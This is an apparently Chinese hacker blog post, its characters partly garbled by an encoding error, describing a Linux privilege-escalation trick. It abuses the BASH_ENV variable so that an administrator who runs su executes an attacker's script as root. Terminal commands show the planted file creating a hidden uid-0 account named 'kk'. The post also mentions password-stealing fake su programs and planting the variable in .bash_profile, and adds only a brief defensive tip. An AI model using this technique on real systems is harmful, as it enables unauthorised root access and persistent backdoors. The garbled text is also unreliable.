一個(gè)Linux提權(quán)用的技巧
一個(gè)linux提權(quán)用的技巧,放出來攢RP了。
OK,通常情況下,我們?cè)趫?zhí)行bash腳本的時(shí)候,有一個(gè)執(zhí)行過程,其中有一點(diǎn)比較重要:如果BASH_ENV被設(shè)置的話,它就會(huì)執(zhí)行BASH_ENV指向的腳本
一個(gè)test:
[xiaoyu@localdomain ~]$ echo $BASH_ENV
[xiaoyu@localdomain ~]$ export BASH_ENV="/tmp/.bashrc"
[xiaoyu@localdomain ~]$ echo $BASH_ENV
/tmp/.bashrc
[xiaoyu@localdomain ~]$ cat /tmp/.bashrc
#!/bin/bash
echo "Hello"
[xiaoyu@localdomain ~]$ ls -l
-rwxrwxr-x 1 xiaoyu xiaoyu 22 2008-09-11 05:54 test.sh
[xiaoyu@localdomain ~]$ cat test.sh
#!/bin/bash
echo "kk"
[xiaoyu@localdomain ~]$ ./test.sh
Hello
kk
恩,很好,和我們預(yù)期的一樣??纯次覀?cè)趺蠢谩?/P>
grep su ~/.bash_history
顯示此用戶有使用su登錄root賬戶的特殊癖好。以前我們遇到這種情況通常就是塞個(gè)fakesu.c進(jìn)去。然后修改.bash_profile,建立個(gè)別名之類的東西。通過getpass來獲得root密碼,記錄,然后去除別名.....關(guān)鍵是管理員使用正確密碼登錄的時(shí)候也是會(huì)提示一次密碼錯(cuò)誤。遇到傻點(diǎn)的管理員可能就放過這個(gè)細(xì)節(jié)了,再輸入一遍密碼就OK了。但是某些非人類admin會(huì)以最快的速度檢查系統(tǒng)被入侵的跡象,外加啥啥啥,而且這種管理員改 root密碼幾乎是肯定的了。所以偷取下來的密碼也沒啥用處。恩,聰明的X客們一定知道我要做什么了。呵呵,先看看環(huán)境變量su后在不
[xiaoyu@localdomain ~]$ echo $BASH_ENV
/tmp/.bashrc
[xiaoyu@localdomain ~]$ su
Password:
[root@localdomain xiaoyu]# echo $BASH_ENV
/tmp/.bashrc
啊哦,還在OK,實(shí)驗(yàn)結(jié)束,實(shí)戰(zhàn):
[xiaoyu@localdomain tmp]$ echo '/usr/sbin/useradd -u 0 -o kk 2> /dev/null' > /tmp/.bashrc
[xiaoyu@localdomain tmp]$ cat /tmp/.bashrc
/usr/sbin/useradd -u 0 -o kk 2> /dev/null
[xiaoyu@localdomain tmp]$ grep kk /etc/passwd
[xiaoyu@localdomain tmp]$ echo $BASH_ENV
/tmp/.bashrc
[xiaoyu@localdomain tmp]$ su
Password:
[root@localdomain tmp]# cd /home/xiaoyu
[root@localdomain xiaoyu]# ./test.sh
kk
[root@localdomain xiaoyu]# grep kk /etc/passwd
kk:x:0:503::/home/kk:/bin/bash
[root@localdomain xiaoyu]#
呵呵,改密碼的語句我沒加進(jìn)去哦。自己想,呵呵,偶不知道,偶不知道
恩,關(guān)于怎么安置,和fakesu一樣,在.bash_profile等地方export BASH_ENV變量...
如果要避免這種情況,使用su -登錄root,估計(jì)沒幾個(gè)管理員記得這個(gè)指令吧..汗...
【編輯推薦】